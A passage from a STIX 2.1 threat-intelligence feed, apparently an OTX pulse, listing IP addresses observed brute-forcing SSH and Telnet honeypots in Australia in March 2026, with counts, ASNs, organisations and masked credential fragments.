      "valid_until": "2026-04-05T18:15:12.000Z"
    },
    {
      "created": "2026-03-04T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--df4b00d6-8f71-4c7e-9136-754dd4daae97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.1.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T18:15:13.000Z",
      "valid_until": "2026-04-05T18:15:12.000Z"
    },
    {
      "created": "2026-03-04T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 60404. Organisation(s): The Infrastructure Group B.V.. Usernames observed (masked): f*********r. Passwords observed (masked): m*********y.",
      "id": "indicator--714cb436-d667-4983-bf26-9d8ea0df23aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.76.153.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T18:15:13.000Z",
      "valid_until": "2026-04-05T18:15:12.000Z"
    },
    {
      "created": "2026-03-04T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138115. Organisation(s): PT Deneva. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !*******4, 1**2, 1******1.",
      "id": "indicator--905cd3ce-c984-4679-9daf-615444f6a51b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.155.157.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T18:15:13.000Z",
      "valid_until": "2026-04-05T18:15:12.000Z"
    },
    {
      "created": "2026-03-04T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 9930. Organisation(s): TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al. Usernames observed (masked): r**t. Passwords observed (masked): B********3.",
      "id": "indicator--bbe5047d-9609-4856-abda-bf95631e7543",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.184.141.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T18:15:13.000Z",
      "valid_until": "2026-04-05T18:15:12.000Z"
    },
    {
      "created": "2026-03-04T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******x, 1*********@, 1**********c, 3***********4, 3**********4.",
      "id": "indicator--5da33d27-37fe-4abd-a771-0ad2a0c7d217",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '40.83.182.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T18:15:13.000Z",
      "valid_until": "2026-04-05T18:15:12.000Z"
    },
    {
      "created": "2026-03-04T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--e2f58963-6201-4b51-9ed5-64e7e5170dc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T18:15:13.000Z",
      "valid_until": "2026-04-05T18:15:12.000Z"
    },
    {
      "created": "2026-03-04T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 3269. Organisation(s): TIM. Usernames observed (masked): r**t. Passwords observed (masked): a***n@123.com.",
      "id": "indicator--91b28c92-fbd0-4e32-b4fc-b419be330018",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.6.181.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T18:15:13.000Z",
      "valid_until": "2026-04-05T18:15:12.000Z"
    },
    {
      "created": "2026-03-04T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 131459. Organisation(s): 88c, Race Course Road, Coimbatore 641018.",
      "id": "indicator--915885f7-542a-41ef-8ab4-53aa25fca98d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.5.114.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T19:15:05.000Z",
      "valid_until": "2026-04-05T19:15:04.000Z"
    },
    {
      "created": "2026-03-04T19:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IL. ASN(s): 202422. Organisation(s): G-Core Labs S.A..",
      "id": "indicator--5bda17f7-b940-489b-a8d9-272c1ce72c5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '146.185.219.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T19:15:05.000Z",
      "valid_until": "2026-04-05T19:15:04.000Z"
    },
    {
      "created": "2026-03-04T19:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit.",
      "id": "indicator--a72cb80a-622a-4266-8464-c4b950efe074",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T19:15:05.000Z",
      "valid_until": "2026-04-05T19:15:04.000Z"
    },
    {
      "created": "2026-03-04T19:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 54290. Organisation(s): Hostwinds LLC..",
      "id": "indicator--206a453f-a51f-4ff8-820c-128493fd30a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.119.111.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T19:15:05.000Z",
      "valid_until": "2026-04-05T19:15:04.000Z"
    },
    {
      "created": "2026-03-04T19:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LV. ASN(s): 50979. Organisation(s): Green Floid LLC.",
      "id": "indicator--d63fcdb2-47cb-48e2-8558-2aa1be0c437f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.123.210.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T19:15:05.000Z",
      "valid_until": "2026-04-05T19:15:04.000Z"
    },
    {
      "created": "2026-03-04T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc.. Usernames observed (masked): A*******************p, G************1, U**************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.130.168.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T19:15:05.000Z",
      "valid_until": "2026-04-05T19:15:04.000Z"
    },
    {
      "created": "2026-03-04T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 149111. Organisation(s): TEDEV TECHNOLOGICAL DEVELOPMENT COMPANY LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******., 1******y, 1**z@WSX., 3***********4, 3**********4.",
      "id": "indicator--a5d98e78-67a5-4f6d-8412-e6e6a0e78ca0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.189.208.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T20:15:13.000Z",
      "valid_until": "2026-04-05T20:15:11.000Z"
    },
    {
      "created": "2026-03-04T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, s****a. Passwords observed (masked): ***, s****a.",
      "id": "indicator--e4bccb3c-ff11-44de-ab4d-d79075c6892b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.246.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T20:15:13.000Z",
      "valid_until": "2026-04-05T20:15:11.000Z"
    },
    {
      "created": "2026-03-04T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s**v. Passwords observed (masked): 1****6, s**v.",
      "id": "indicator--34f0eacd-33b3-489c-b43d-df876b9fe0bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.225.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T20:15:13.000Z",
      "valid_until": "2026-04-05T20:15:11.000Z"
    },
    {
      "created": "2026-03-04T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--222dd31c-2066-490d-9bc9-8e893247e03d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.65.187.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T20:15:13.000Z",
      "valid_until": "2026-04-05T20:15:11.000Z"
    },
    {
      "created": "2026-03-04T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38283. Organisation(s): CHINANET SiChuan Telecom Internet Data Center. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--4b914aad-8b51-4fa8-8d50-7265f0a68035",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.151.41.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T20:15:13.000Z",
      "valid_until": "2026-04-05T20:15:11.000Z"
    },
    {
      "created": "2026-03-04T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 136195. Organisation(s): Qingdao, Shandong Province, P.R.China.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, H***********1, q*************+, q***********4.",
      "id": "indicator--f63eb86c-cdb7-48fd-93ff-fad9462408eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.40.104.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T20:15:13.000Z",
      "valid_until": "2026-04-05T20:15:11.000Z"
    },
    {
      "created": "2026-03-04T20:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--589f59a1-4a41-4c79-a773-8606641c5188",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T20:15:13.000Z",
      "valid_until": "2026-04-05T20:15:11.000Z"
    },
    {
      "created": "2026-03-04T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL). Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2******X, 3***********4, 3**********4, G******6, L******6.",
      "id": "indicator--16147859-1553-4524-b99a-e96b70af05ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.6.203.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T20:15:13.000Z",
      "valid_until": "2026-04-05T20:15:11.000Z"
    },
    {
      "created": "2026-03-04T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s****a, s**v. Passwords observed (masked): s****a, s**v.",
      "id": "indicator--cf2dd706-88c3-4d7c-abfd-ca67c8240125",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.101.251.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T20:15:13.000Z",
      "valid_until": "2026-04-05T20:15:11.000Z"
    },
    {
      "created": "2026-03-04T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 210259. Organisation(s): LLC Applied Computational Technologies.",
      "id": "indicator--221c2636-d37a-4ec1-a6c0-678c58f6dcf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.29.142.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T20:15:13.000Z",
      "valid_until": "2026-04-05T20:15:11.000Z"
    },
    {
      "created": "2026-03-04T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 214209. Organisation(s): Internet Magnate (Pty) Ltd. Usernames observed (masked): i*****l. Passwords observed (masked): I***********************6.",
      "id": "indicator--d76fa450-42f5-4bca-ba9f-100862489f3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.153.138.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T20:15:13.000Z",
      "valid_until": "2026-04-05T20:15:11.000Z"
    },
    {
      "created": "2026-03-04T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******z, 7*******3, R**T.",
      "id": "indicator--0d407edd-6ee6-498c-a80d-faff6b62b3f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.52.115.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:15:13.000Z",
      "valid_until": "2026-04-05T21:15:12.000Z"
    },
    {
      "created": "2026-03-04T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A**********e, B********3, H******6.",
      "id": "indicator--3137882d-fc23-4f3a-bf1e-7e174abf8165",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.135.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:15:13.000Z",
      "valid_until": "2026-04-05T21:15:12.000Z"
    },
    {
      "created": "2026-03-04T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 399077. Organisation(s): Tcloudnet. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, a********4, p*********!, p*******1.",
      "id": "indicator--9d1320a1-dcb3-41e0-925f-e51aab014c6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.82.84.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:15:13.000Z",
      "valid_until": "2026-04-05T21:15:12.000Z"
    },
    {
      "created": "2026-03-04T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s****a, u****u. Passwords observed (masked): s****a, u****u.",
      "id": "indicator--192bafe7-c845-4af8-8d85-99e15ad721e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.45.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:15:13.000Z",
      "valid_until": "2026-04-05T21:15:12.000Z"
    },
    {
      "created": "2026-03-04T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--0406716c-d610-4b97-83d0-cf8181334c50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:15:13.000Z",
      "valid_until": "2026-04-05T21:15:12.000Z"
    },
    {
      "created": "2026-03-04T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fc0f1455-1436-4447-8632-d3dca1fd6776",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:15:13.000Z",
      "valid_until": "2026-04-05T21:15:12.000Z"
    },
    {
      "created": "2026-03-04T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. Usernames observed (masked): r**t, r***2, 3**********4. Passwords observed (masked): 1*******e, 3***********4, 3**********4, A******4, B********3.",
      "id": "indicator--0e5164f9-0d38-4499-abd1-b008798cd68b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.11.64.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:15:13.000Z",
      "valid_until": "2026-04-05T21:15:12.000Z"
    },
    {
      "created": "2026-03-04T21:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--0ad19e1c-e0fc-4ad8-98c8-ee3706775334",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.45.50.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:15:13.000Z",
      "valid_until": "2026-04-05T21:15:12.000Z"
    },
    {
      "created": "2026-03-04T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268858. Organisation(s): NANDO NET FIBRA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B********3, H******6, p*******1.",
      "id": "indicator--03351622-9a6b-4fa8-b30e-a30b17eaa1d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.174.162.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:15:13.000Z",
      "valid_until": "2026-04-05T21:15:12.000Z"
    },
    {
      "created": "2026-03-04T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB. Usernames observed (masked): **. Passwords observed (masked): r*******y.",
      "id": "indicator--1a1d90a5-761a-4189-8776-9d371e4a6b00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:15:13.000Z",
      "valid_until": "2026-04-05T21:15:12.000Z"
    },
    {
      "created": "2026-03-04T21:15:13.000Z",
